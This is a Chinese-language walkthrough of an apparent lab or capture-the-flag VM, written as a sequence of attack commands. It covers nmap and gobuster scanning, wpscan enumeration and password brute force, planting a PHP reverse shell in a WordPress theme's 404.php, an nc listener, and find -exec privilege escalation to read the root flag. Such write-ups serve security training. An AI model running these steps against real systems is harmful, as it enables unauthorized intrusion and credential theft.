将两台虚拟机网络连接都改为NAT模式
-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.155
-
对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.155

发现 4512 端口开放着 ssh 服务,可能是因为管理员为了安全将工作端口 22 改到了 4512
- 访问 80 端口开放的 web 服务

扫描网站子目录
gobuster dir -u http://192.168.23.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

根据网站目录结构判断网站是 wordpress CMS 建站的
- 在网站目录下发现隐藏信息

紧急通知科尔德,你修改了雨果的密码,麻烦尽快把新密码发给他,这样他才能继续上传文章。菲利普
-
在使用专项扫描工具查找 wordpress 站点相关的系统薄弱点
wpscan --url http://192.168.23.155

再扫描枚举网站账户名称
wpscan --url http://192.168.23.155/ --enumerate u

得到四个用户名
the cold in person
philip
c0ldd
hugo
-
将上述内容写入密码本,然后使用大字典进行爆破
mousepad user.txt
wpscan --url http://192.168.23.155 -U user.txt -P /usr/share/wordlists/rockyou.txt

最后得到一对账户密码
c0ldd/9876543210
- 使用上述账密登录成功登录网站

在后台对wordpress 的主题进行编辑,在下述页面黏贴 kali 自带的反弹 shell 代码
更新网站页面代码之后,访问 404.php 的网站页面触发反弹 shell
http://192.168.23.155/wp-content/themes/twentyfourteen/404.php

-
注意 kali 在触发反弹 shell 之前就需要监听 4444 端口以 getshell
nc -lvvp 4444

成功 getshell,然后 php 启动一个可交互 shell
php -r 'system("/bin/bash -i");'

-
信息收集一下
id
ls /home
uname -a
lsb_release -a

-
然后查看一下提权方法
sudo -l
find / -perm -u=s -type f 2>/dev/null

然后就是 find 命令提权
cd /tmp
touch test
find test -exec whoami \;
find test -exec cat /root/root.txt \;

成功提权得到 flag,base64 解密一下 即可
